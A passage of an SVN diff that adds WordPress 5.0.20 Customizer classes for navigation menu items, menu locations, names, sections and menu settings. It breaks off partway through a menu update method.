+	 * Note that parent::sanitize() erroneously does wp_unslash() on $value, but
+	 * we remove that in this override.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $menu_item_value The value to sanitize.
+	 * @return array|false|null|WP_Error Null or WP_Error if an input isn't valid. False if it is marked for deletion.
+	 *                                   Otherwise the sanitized value.
+	 */
+	public function sanitize( $menu_item_value ) {
+		// Menu is marked for deletion.
+		if ( false === $menu_item_value ) {
+			return $menu_item_value;
+		}
+
+		// Invalid.
+		if ( ! is_array( $menu_item_value ) ) {
+			return null;
+		}
+
+		$default = array(
+			'object_id'        => 0,
+			'object'           => '',
+			'menu_item_parent' => 0,
+			'position'         => 0,
+			'type'             => 'custom',
+			'title'            => '',
+			'url'              => '',
+			'target'           => '',
+			'attr_title'       => '',
+			'description'      => '',
+			'classes'          => '',
+			'xfn'              => '',
+			'status'           => 'publish',
+			'original_title'   => '',
+			'nav_menu_term_id' => 0,
+			'_invalid'         => false,
+		);
+		$menu_item_value = array_merge( $default, $menu_item_value );
+		$menu_item_value = wp_array_slice_assoc( $menu_item_value, array_keys( $default ) );
+		$menu_item_value['position'] = intval( $menu_item_value['position'] );
+
+		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
+			// Note we need to allow negative-integer IDs for previewed objects not inserted yet.
+			$menu_item_value[ $key ] = intval( $menu_item_value[ $key ] );
+		}
+
+		foreach ( array( 'type', 'object', 'target' ) as $key ) {
+			$menu_item_value[ $key ] = sanitize_key( $menu_item_value[ $key ] );
+		}
+
+		foreach ( array( 'xfn', 'classes' ) as $key ) {
+			$value = $menu_item_value[ $key ];
+			if ( ! is_array( $value ) ) {
+				$value = explode( ' ', $value );
+			}
+			$menu_item_value[ $key ] = implode( ' ', array_map( 'sanitize_html_class', $value ) );
+		}
+
+		$menu_item_value['original_title'] = sanitize_text_field( $menu_item_value['original_title'] );
+
+		// Apply the same filters as when calling wp_insert_post().
+
+		/** This filter is documented in wp-includes/post.php */
+		$menu_item_value['title'] = wp_unslash( apply_filters( 'title_save_pre', wp_slash( $menu_item_value['title'] ) ) );
+
+		/** This filter is documented in wp-includes/post.php */
+		$menu_item_value['attr_title'] = wp_unslash( apply_filters( 'excerpt_save_pre', wp_slash( $menu_item_value['attr_title'] ) ) );
+
+		/** This filter is documented in wp-includes/post.php */
+		$menu_item_value['description'] = wp_unslash( apply_filters( 'content_save_pre', wp_slash( $menu_item_value['description'] ) ) );
+
+		if ( '' !== $menu_item_value['url'] ) {
+			$menu_item_value['url'] = esc_url_raw( $menu_item_value['url'] );
+			if ( '' === $menu_item_value['url'] ) {
+				return new WP_Error( 'invalid_url', __( 'Invalid URL.' ) ); // Fail sanitization if URL is invalid.
+			}
+		}
+		if ( 'publish' !== $menu_item_value['status'] ) {
+			$menu_item_value['status'] = 'draft';
+		}
+
+		$menu_item_value['_invalid'] = (bool) $menu_item_value['_invalid'];
+
+		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
+		return apply_filters( "customize_sanitize_{$this->id}", $menu_item_value, $this );
+	}
+
+	/**
+	 * Creates/updates the nav_menu_item post for this setting.
+	 *
+	 * Any created menu items will have their assigned post IDs exported to the client
+	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be
+	 * exported to the client via the customize_save_response() filter.
+	 *
+	 * To delete a menu, the client can send false as the value.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see wp_update_nav_menu_item()
+	 *
+	 * @param array|false $value The menu item array to update. If false, then the menu item will be deleted
+	 *                           entirely. See WP_Customize_Nav_Menu_Item_Setting::$default for what the value
+	 *                           should consist of.
+	 * @return null|void
+	 */
+	protected function update( $value ) {
+		if ( $this->is_updated ) {
+			return;
+		}
+
+		$this->is_updated = true;
+		$is_placeholder   = ( $this->post_id < 0 );
+		$is_delete        = ( false === $value );
+
+		// Update the cached value.
+		$this->value = $value;
+
+		add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );
+
+		if ( $is_delete ) {
+			// If the current setting post is a placeholder, a delete request is a no-op.
+			if ( $is_placeholder ) {
+				$this->update_status = 'deleted';
+			} else {
+				$r = wp_delete_post( $this->post_id, true );
+
+				if ( false === $r ) {
+					$this->update_error  = new WP_Error( 'delete_failure' );
+					$this->update_status = 'error';
+				} else {
+					$this->update_status = 'deleted';
+				}
+				// @todo send back the IDs for all associated nav menu items deleted, so these settings (and controls) can be removed from Customizer?
+			}
+		} else {
+
+			// Handle saving menu items for menus that are being newly-created.
+			if ( $value['nav_menu_term_id'] < 0 ) {
+				$nav_menu_setting_id = sprintf( 'nav_menu[%s]', $value['nav_menu_term_id'] );
+				$nav_menu_setting    = $this->manager->get_setting( $nav_menu_setting_id );
+
+				if ( ! $nav_menu_setting || ! ( $nav_menu_setting instanceof WP_Customize_Nav_Menu_Setting ) ) {
+					$this->update_status = 'error';
+					$this->update_error  = new WP_Error( 'unexpected_nav_menu_setting' );
+					return;
+				}
+
+				if ( false === $nav_menu_setting->save() ) {
+					$this->update_status = 'error';
+					$this->update_error  = new WP_Error( 'nav_menu_setting_failure' );
+					return;
+				}
+
+				if ( $nav_menu_setting->previous_term_id !== intval( $value['nav_menu_term_id'] ) ) {
+					$this->update_status = 'error';
+					$this->update_error  = new WP_Error( 'unexpected_previous_term_id' );
+					return;
+				}
+
+				$value['nav_menu_term_id'] = $nav_menu_setting->term_id;
+			}
+
+			// Handle saving a nav menu item that is a child of a nav menu item being newly-created.
+			if ( $value['menu_item_parent'] < 0 ) {
+				$parent_nav_menu_item_setting_id = sprintf( 'nav_menu_item[%s]', $value['menu_item_parent'] );
+				$parent_nav_menu_item_setting    = $this->manager->get_setting( $parent_nav_menu_item_setting_id );
+
+				if ( ! $parent_nav_menu_item_setting || ! ( $parent_nav_menu_item_setting instanceof WP_Customize_Nav_Menu_Item_Setting ) ) {
+					$this->update_status = 'error';
+					$this->update_error  = new WP_Error( 'unexpected_nav_menu_item_setting' );
+					return;
+				}
+
+				if ( false === $parent_nav_menu_item_setting->save() ) {
+					$this->update_status = 'error';
+					$this->update_error  = new WP_Error( 'nav_menu_item_setting_failure' );
+					return;
+				}
+
+				if ( $parent_nav_menu_item_setting->previous_post_id !== intval( $value['menu_item_parent'] ) ) {
+					$this->update_status = 'error';
+					$this->update_error  = new WP_Error( 'unexpected_previous_post_id' );
+					return;
+				}
+
+				$value['menu_item_parent'] = $parent_nav_menu_item_setting->post_id;
+			}
+
+			// Insert or update menu.
+			$menu_item_data = array(
+				'menu-item-object-id'   => $value['object_id'],
+				'menu-item-object'      => $value['object'],
+				'menu-item-parent-id'   => $value['menu_item_parent'],
+				'menu-item-position'    => $value['position'],
+				'menu-item-type'        => $value['type'],
+				'menu-item-title'       => $value['title'],
+				'menu-item-url'         => $value['url'],
+				'menu-item-description' => $value['description'],
+				'menu-item-attr-title'  => $value['attr_title'],
+				'menu-item-target'      => $value['target'],
+				'menu-item-classes'     => $value['classes'],
+				'menu-item-xfn'         => $value['xfn'],
+				'menu-item-status'      => $value['status'],
+			);
+
+			$r = wp_update_nav_menu_item(
+				$value['nav_menu_term_id'],
+				$is_placeholder ? 0 : $this->post_id,
+				wp_slash( $menu_item_data )
+			);
+
+			if ( is_wp_error( $r ) ) {
+				$this->update_status = 'error';
+				$this->update_error = $r;
+			} else {
+				if ( $is_placeholder ) {
+					$this->previous_post_id = $this->post_id;
+					$this->post_id = $r;
+					$this->update_status = 'inserted';
+				} else {
+					$this->update_status = 'updated';
+				}
+			}
+		}
+
+	}
+
+	/**
+	 * Export data for the JS client.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
+	 *
+	 * @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
+	 * @return array Save response data.
+	 */
+	public function amend_customize_save_response( $data ) {
+		if ( ! isset( $data['nav_menu_item_updates'] ) ) {
+			$data['nav_menu_item_updates'] = array();
+		}
+
+		$data['nav_menu_item_updates'][] = array(
+			'post_id'          => $this->post_id,
+			'previous_post_id' => $this->previous_post_id,
+			'error'            => $this->update_error ? $this->update_error->get_error_code() : null,
+			'status'           => $this->update_status,
+		);
+		return $data;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-location-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-location-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-location-control.php	(revision 56912)
@@ -0,0 +1,81 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menu_Location_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Menu Location Control Class.
+ *
+ * This custom control is only needed for JS.
+ *
+ * @since 4.3.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_Nav_Menu_Location_Control extends WP_Customize_Control {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'nav_menu_location';
+
+	/**
+	 * Location ID.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $location_id = '';
+
+	/**
+	 * Refresh the parameters passed to JavaScript via JSON.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Control::to_json()
+	 */
+	public function to_json() {
+		parent::to_json();
+		$this->json['locationId'] = $this->location_id;
+	}
+
+	/**
+	 * Render content just like a normal select control.
+	 *
+	 * @since 4.3.0
+	 * @since 4.9.0 Added a button to create menus.
+	 */
+	public function render_content() {
+		if ( empty( $this->choices ) ) {
+			return;
+		}
+		?>
+		<label>
+			<?php if ( ! empty( $this->label ) ) : ?>
+			<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
+			<?php endif; ?>
+
+			<?php if ( ! empty( $this->description ) ) : ?>
+			<span class="description customize-control-description"><?php echo $this->description; ?></span>
+			<?php endif; ?>
+
+			<select <?php $this->link(); ?>>
+				<?php
+				foreach ( $this->choices as $value => $label ) :
+					echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . $label . '</option>';
+				endforeach;
+				?>
+			</select>
+		</label>
+		<button type="button" class="button-link create-menu<?php if ( $this->value() ) { echo ' hidden'; } ?>" data-location-id="<?php echo esc_attr( $this->location_id ); ?>" aria-label="<?php esc_attr_e( 'Create a menu for this location' ); ?>"><?php _e( '+ Create New Menu' ); ?></button>
+		<button type="button" class="button-link edit-menu<?php if ( ! $this->value() ) { echo ' hidden'; } ?>" aria-label="<?php esc_attr_e( 'Edit selected menu' ); ?>"><?php _e( 'Edit Menu' ); ?></button>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php	(revision 56912)
@@ -0,0 +1,90 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menu_Locations_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.9.0
+ */
+
+/**
+ * Customize Nav Menu Locations Control Class.
+ *
+ * @since 4.9.0
+ */
+class WP_Customize_Nav_Menu_Locations_Control extends WP_Customize_Control {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.9.0
+	 * @var string
+	 */
+	public $type = 'nav_menu_locations';
+
+	/**
+	 * Don't render the control's content - it uses a JS template instead.
+	 *
+	 * @since 4.9.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * JS/Underscore template for the control UI.
+	 *
+	 * @since 4.9.0
+	 */
+	public function content_template() {
+		if ( current_theme_supports( 'menus' ) ) :
+			?>
+			<# var elementId; #>
+			<ul class="menu-location-settings">
+				<li class="customize-control assigned-menu-locations-title">
+					<span class="customize-control-title">{{ wp.customize.Menus.data.l10n.locationsTitle }}</span>
+					<# if ( data.isCreating ) { #>
+						<p>
+							<?php echo _x( 'Where do you want this menu to appear?', 'menu locations' ); ?>
+							<em class="new-menu-locations-widget-note">
+								<?php
+								printf(
+									/* translators: 1: Codex URL, 2: additional link attributes, 3: accessibility text */
+									_x( '(If you plan to use a menu <a href="%1$s" %2$s>widget%3$s</a>, skip this step.)', 'menu locations' ),
+									__( 'https://codex.wordpress.org/WordPress_Widgets' ),
+									' class="external-link" target="_blank"',
+									sprintf( '<span class="screen-reader-text"> %s</span>',
+										/* translators: accessibility text */
+										__( '(opens in a new window)' )
+									)
+								);
+								?>
+							</em>
+						</p>
+					<# } else { #>
+						<p><?php echo _x( 'Here&#8217;s where this menu appears. If you&#8217;d like to change that, pick another location.', 'menu locations' ); ?></p>
+					<# } #>
+				</li>
+
+				<?php foreach ( get_registered_nav_menus() as $location => $description ) : ?>
+					<# elementId = _.uniqueId( 'customize-nav-menu-control-location-' ); #>
+					<li class="customize-control customize-control-checkbox assigned-menu-location">
+						<span class="customize-inside-control-row">
+							<input id="{{ elementId }}" type="checkbox" data-menu-id="{{ data.menu_id }}" data-location-id="<?php echo esc_attr( $location ); ?>" class="menu-location" />
+							<label for="{{ elementId }}">
+								<?php echo $description; ?>
+								<span class="theme-location-set">
+									<?php
+									/* translators: %s: menu name */
+									printf( _x( '(Current: %s)', 'menu location' ),
+										'<span class="current-menu-location-name-' . esc_attr( $location ) . '"></span>'
+									);
+									?>
+								</span>
+							</label>
+						</span>
+					</li>
+				<?php endforeach; ?>
+			</ul>
+			<?php
+		endif;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-name-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-name-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-name-control.php	(revision 56912)
@@ -0,0 +1,56 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menu_Name_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize control to represent the name field for a given menu.
+ *
+ * @since 4.3.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_Nav_Menu_Name_Control extends WP_Customize_Control {
+
+	/**
+	 * Type of control, used by JS.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'nav_menu_name';
+
+	/**
+	 * No-op since we're using JS template.
+	 *
+	 * @since 4.3.0
+	 */
+	protected function render_content() {}
+
+	/**
+	 * Render the Underscore template for this control.
+	 *
+	 * @since 4.3.0
+	 */
+	protected function content_template() {
+		?>
+		<label>
+			<# if ( data.label ) { #>
+				<span class="customize-control-title">{{ data.label }}</span>
+			<# } #>
+			<input type="text" class="menu-name-field live-update-section-title"
+				<# if ( data.description ) { #>
+					aria-describedby="{{ data.section }}-description"
+				<# } #>
+				/>
+		</label>
+		<# if ( data.description ) { #>
+			<p id="{{ data.section }}-description">{{ data.description }}</p>
+		<# } #>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-section.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-section.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-section.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menu_Section class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Menu Section Class
+ *
+ * Custom section only needed in JS.
+ *
+ * @since 4.3.0
+ *
+ * @see WP_Customize_Section
+ */
+class WP_Customize_Nav_Menu_Section extends WP_Customize_Section {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'nav_menu';
+
+	/**
+	 * Get section parameters for JS.
+	 *
+	 * @since 4.3.0
+	 * @return array Exported parameters.
+	 */
+	public function json() {
+		$exported = parent::json();
+		$exported['menu_id'] = intval( preg_replace( '/^nav_menu\[(-?\d+)\]/', '$1', $this->id ) );
+
+		return $exported;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-setting.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-setting.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-setting.php	(revision 56912)
@@ -0,0 +1,640 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menu_Setting class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Setting to represent a nav_menu.
+ *
+ * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
+ * the IDs for the nav_menu_items associated with the nav menu.
+ *
+ * @since 4.3.0
+ *
+ * @see wp_get_nav_menu_object()
+ * @see WP_Customize_Setting
+ */
+class WP_Customize_Nav_Menu_Setting extends WP_Customize_Setting {
+
+	const ID_PATTERN = '/^nav_menu\[(?P<id>-?\d+)\]$/';
+
+	const TAXONOMY = 'nav_menu';
+
+	const TYPE = 'nav_menu';
+
+	/**
+	 * Setting type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = self::TYPE;
+
+	/**
+	 * Default setting value.
+	 *
+	 * @since 4.3.0
+	 * @var array
+	 *
+	 * @see wp_get_nav_menu_object()
+	 */
+	public $default = array(
+		'name'        => '',
+		'description' => '',
+		'parent'      => 0,
+		'auto_add'    => false,
+	);
+
+	/**
+	 * Default transport.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $transport = 'postMessage';
+
+	/**
+	 * The term ID represented by this setting instance.
+	 *
+	 * A negative value represents a placeholder ID for a new menu not yet saved.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 */
+	public $term_id;
+
+	/**
+	 * Previous (placeholder) term ID used before creating a new menu.
+	 *
+	 * This value will be exported to JS via the {@see 'customize_save_response'} filter
+	 * so that JavaScript can update the settings to refer to the newly-assigned
+	 * term ID. This value is always negative to indicate it does not refer to
+	 * a real term.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::update()
+	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
+	 */
+	public $previous_term_id;
+
+	/**
+	 * Whether or not update() was called.
+	 *
+	 * @since 4.3.0
+	 * @var bool
+	 */
+	protected $is_updated = false;
+
+	/**
+	 * Status for calling the update method, used in customize_save_response filter.
+	 *
+	 * See {@see 'customize_save_response'}.
+	 *
+	 * When status is inserted, the placeholder term ID is stored in `$previous_term_id`.
+	 * When status is error, the error is stored in `$update_error`.
+	 *
+	 * @since 4.3.0
+	 * @var string updated|inserted|deleted|error
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::update()
+	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
+	 */
+	public $update_status;
+
+	/**
+	 * Any error object returned by wp_update_nav_menu_object() when setting is updated.
+	 *
+	 * @since 4.3.0
+	 * @var WP_Error
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::update()
+	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
+	 */
+	public $update_error;
+
+	/**
+	 * Constructor.
+	 *
+	 * Any supplied $args override class property defaults.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Customize_Manager $manager Bootstrap Customizer instance.
+	 * @param string               $id      An specific ID of the setting. Can be a
+	 *                                      theme mod or option name.
+	 * @param array                $args    Optional. Setting arguments.
+	 *
+	 * @throws Exception If $id is not valid for this setting type.
+	 */
+	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
+		if ( empty( $manager->nav_menus ) ) {
+			throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
+		}
+
+		if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
+			throw new Exception( "Illegal widget setting ID: $id" );
+		}
+
+		$this->term_id = intval( $matches['id'] );
+
+		parent::__construct( $manager, $id, $args );
+	}
+
+	/**
+	 * Get the instance data for a given widget setting.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see wp_get_nav_menu_object()
+	 *
+	 * @return array Instance data.
+	 */
+	public function value() {
+		if ( $this->is_previewed && $this->_previewed_blog_id === get_current_blog_id() ) {
+			$undefined  = new stdClass(); // Symbol.
+			$post_value = $this->post_value( $undefined );
+
+			if ( $undefined === $post_value ) {
+				$value = $this->_original_value;
+			} else {
+				$value = $post_value;
+			}
+		} else {
+			$value = false;
+
+			// Note that a term_id of less than one indicates a nav_menu not yet inserted.
+			if ( $this->term_id > 0 ) {
+				$term = wp_get_nav_menu_object( $this->term_id );
+
+				if ( $term ) {
+					$value = wp_array_slice_assoc( (array) $term, array_keys( $this->default ) );
+
+					$nav_menu_options  = (array) get_option( 'nav_menu_options', array() );
+					$value['auto_add'] = false;
+
+					if ( isset( $nav_menu_options['auto_add'] ) && is_array( $nav_menu_options['auto_add'] ) ) {
+						$value['auto_add'] = in_array( $term->term_id, $nav_menu_options['auto_add'] );
+					}
+				}
+			}
+
+			if ( ! is_array( $value ) ) {
+				$value = $this->default;
+			}
+		}
+		return $value;
+	}
+
+	/**
+	 * Handle previewing the setting.
+	 *
+	 * @since 4.3.0
+	 * @since 4.4.0 Added boolean return value
+	 *
+	 * @see WP_Customize_Manager::post_value()
+	 *
+	 * @return bool False if method short-circuited due to no-op.
+	 */
+	public function preview() {
+		if ( $this->is_previewed ) {
+			return false;
+		}
+
+		$undefined = new stdClass();
+		$is_placeholder = ( $this->term_id < 0 );
+		$is_dirty = ( $undefined !== $this->post_value( $undefined ) );
+		if ( ! $is_placeholder && ! $is_dirty ) {
+			return false;
+		}
+
+		$this->is_previewed       = true;
+		$this->_original_value    = $this->value();
+		$this->_previewed_blog_id = get_current_blog_id();
+
+		add_filter( 'wp_get_nav_menus', array( $this, 'filter_wp_get_nav_menus' ), 10, 2 );
+		add_filter( 'wp_get_nav_menu_object', array( $this, 'filter_wp_get_nav_menu_object' ), 10, 2 );
+		add_filter( 'default_option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );
+		add_filter( 'option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) );
+
+		return true;
+	}
+
+	/**
+	 * Filters the wp_get_nav_menus() result to ensure the inserted menu object is included, and the deleted one is removed.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see wp_get_nav_menus()
+	 *
+	 * @param array $menus An array of menu objects.
+	 * @param array $args  An array of arguments used to retrieve menu objects.
+	 * @return array
+	 */
+	public function filter_wp_get_nav_menus( $menus, $args ) {
+		if ( get_current_blog_id() !== $this->_previewed_blog_id ) {
+			return $menus;
+		}
+
+		$setting_value = $this->value();
+		$is_delete = ( false === $setting_value );
+		$index = -1;
+
+		// Find the existing menu item's position in the list.
+		foreach ( $menus as $i => $menu ) {
+			if ( (int) $this->term_id === (int) $menu->term_id || (int) $this->previous_term_id === (int) $menu->term_id ) {
+				$index = $i;
+				break;
+			}
+		}
+
+		if ( $is_delete ) {
+			// Handle deleted menu by removing it from the list.
+			if ( -1 !== $index ) {
+				array_splice( $menus, $index, 1 );
+			}
+		} else {
+			// Handle menus being updated or inserted.
+			$menu_obj = (object) array_merge( array(
+				'term_id'          => $this->term_id,
+				'term_taxonomy_id' => $this->term_id,
+				'slug'             => sanitize_title( $setting_value['name'] ),
+				'count'            => 0,
+				'term_group'       => 0,
+				'taxonomy'         => self::TAXONOMY,
+				'filter'           => 'raw',
+			), $setting_value );
+
+			array_splice( $menus, $index, ( -1 === $index ? 0 : 1 ), array( $menu_obj ) );
+		}
+
+		// Make sure the menu objects get re-sorted after an update/insert.
+		if ( ! $is_delete && ! empty( $args['orderby'] ) ) {
+			$menus = wp_list_sort( $menus, array(
+				$args['orderby'] => 'ASC',
+			) );
+		}
+		// @todo add support for $args['hide_empty'] === true
+
+		return $menus;
+	}
+
+	/**
+	 * Temporary non-closure passing of orderby value to function.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
+	 * @see WP_Customize_Nav_Menu_Setting::_sort_menus_by_orderby()
+	 */
+	protected $_current_menus_sort_orderby;
+
+	/**
+	 * Sort menu objects by the class-supplied orderby property.
+	 *
+	 * This is a workaround for a lack of closures.
+	 *
+	 * @since 4.3.0
+	 * @deprecated 4.7.0 Use wp_list_sort()
+	 *
+	 * @param object $menu1
+	 * @param object $menu2
+	 * @return int
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus()
+	 */
+	protected function _sort_menus_by_orderby( $menu1, $menu2 ) {
+		_deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' );
+
+		$key = $this->_current_menus_sort_orderby;
+		return strcmp( $menu1->$key, $menu2->$key );
+	}
+
+	/**
+	 * Filters the wp_get_nav_menu_object() result to supply the previewed menu object.
+	 *
+	 * Requesting a nav_menu object by anything but ID is not supported.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see wp_get_nav_menu_object()
+	 *
+	 * @param object|null $menu_obj Object returned by wp_get_nav_menu_object().
+	 * @param string      $menu_id  ID of the nav_menu term. Requests by slug or name will be ignored.
+	 * @return object|null
+	 */
+	public function filter_wp_get_nav_menu_object( $menu_obj, $menu_id ) {
+		$ok = (
+			get_current_blog_id() === $this->_previewed_blog_id
+			&&
+			is_int( $menu_id )
+			&&
+			$menu_id === $this->term_id
+		);
+		if ( ! $ok ) {
+			return $menu_obj;
+		}
+
+		$setting_value = $this->value();
+
+		// Handle deleted menus.
+		if ( false === $setting_value ) {
+			return false;
+		}
+
+		// Handle sanitization failure by preventing short-circuiting.
+		if ( null === $setting_value ) {
+			return $menu_obj;
+		}
+
+		$menu_obj = (object) array_merge( array(
+				'term_id'          => $this->term_id,
+				'term_taxonomy_id' => $this->term_id,
+				'slug'             => sanitize_title( $setting_value['name'] ),
+				'count'            => 0,
+				'term_group'       => 0,
+				'taxonomy'         => self::TAXONOMY,
+				'filter'           => 'raw',
+			), $setting_value );
+
+		return $menu_obj;
+	}
+
+	/**
+	 * Filters the nav_menu_options option to include this menu's auto_add preference.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $nav_menu_options Nav menu options including auto_add.
+	 * @return array (Kaybe) modified nav menu options.
+	 */
+	public function filter_nav_menu_options( $nav_menu_options ) {
+		if ( $this->_previewed_blog_id !== get_current_blog_id() ) {
+			return $nav_menu_options;
+		}
+
+		$menu = $this->value();
+		$nav_menu_options = $this->filter_nav_menu_options_value(
+			$nav_menu_options,
+			$this->term_id,
+			false === $menu ? false : $menu['auto_add']
+		);
+
+		return $nav_menu_options;
+	}
+
+	/**
+	 * Sanitize an input.
+	 *
+	 * Note that parent::sanitize() erroneously does wp_unslash() on $value, but
+	 * we remove that in this override.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $value The value to sanitize.
+	 * @return array|false|null Null if an input isn't valid. False if it is marked for deletion.
+	 *                          Otherwise the sanitized value.
+	 */
+	public function sanitize( $value ) {
+		// Menu is marked for deletion.
+		if ( false === $value ) {
+			return $value;
+		}
+
+		// Invalid.
+		if ( ! is_array( $value ) ) {
+			return null;
+		}
+
+		$default = array(
+			'name'        => '',
+			'description' => '',
+			'parent'      => 0,
+			'auto_add'    => false,
+		);
+		$value = array_merge( $default, $value );
+		$value = wp_array_slice_assoc( $value, array_keys( $default ) );
+
+		$value['name']        = trim( esc_html( $value['name'] ) ); // This sanitization code is used in wp-admin/nav-menus.php.
+		$value['description'] = sanitize_text_field( $value['description'] );
+		$value['parent']      = max( 0, intval( $value['parent'] ) );
+		$value['auto_add']    = ! empty( $value['auto_add'] );
+
+		if ( '' === $value['name'] ) {
+			$value['name'] = _x( '(unnamed)', 'Missing menu name.' );
+		}
+
+		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
+		return apply_filters( "customize_sanitize_{$this->id}", $value, $this );
+	}
+
+	/**
+	 * Storage for data to be sent back to client in customize_save_response filter.
+	 *
+	 * See {@see 'customize_save_response'}.
+	 *
+	 * @since 4.3.0
+	 * @var array
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response()
+	 */
+	protected $_widget_nav_menu_updates = array();
+
+	/**
+	 * Create/update the nav_menu term for this setting.
+	 *
+	 * Any created menus will have their assigned term IDs exported to the client
+	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be exported
+	 * to the client via the customize_save_response() filter.
+	 *
+	 * To delete a menu, the client can send false as the value.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see wp_update_nav_menu_object()
+	 *
+	 * @param array|false $value {
+	 *     The value to update. Note that slug cannot be updated via wp_update_nav_menu_object().
+	 *     If false, then the menu will be deleted entirely.
+	 *
+	 *     @type string $name        The name of the menu to save.
+	 *     @type string $description The term description. Default empty string.
+	 *     @type int    $parent      The id of the parent term. Default 0.
+	 *     @type bool   $auto_add    Whether pages will auto_add to this menu. Default false.
+	 * }
+	 * @return null|void
+	 */
+	protected function update( $value ) {
+		if ( $this->is_updated ) {
+			return;
+		}
+
+		$this->is_updated = true;
+		$is_placeholder   = ( $this->term_id < 0 );
+		$is_delete        = ( false === $value );
+
+		add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );
+
+		$auto_add = null;
+		if ( $is_delete ) {
+			// If the current setting term is a placeholder, a delete request is a no-op.
+			if ( $is_placeholder ) {
+				$this->update_status = 'deleted';
+			} else {
+				$r = wp_delete_nav_menu( $this->term_id );
+
+				if ( is_wp_error( $r ) ) {
+					$this->update_status = 'error';
+					$this->update_error  = $r;
+				} else {
+					$this->update_status = 'deleted';
+					$auto_add = false;
+				}
+			}
+		} else {
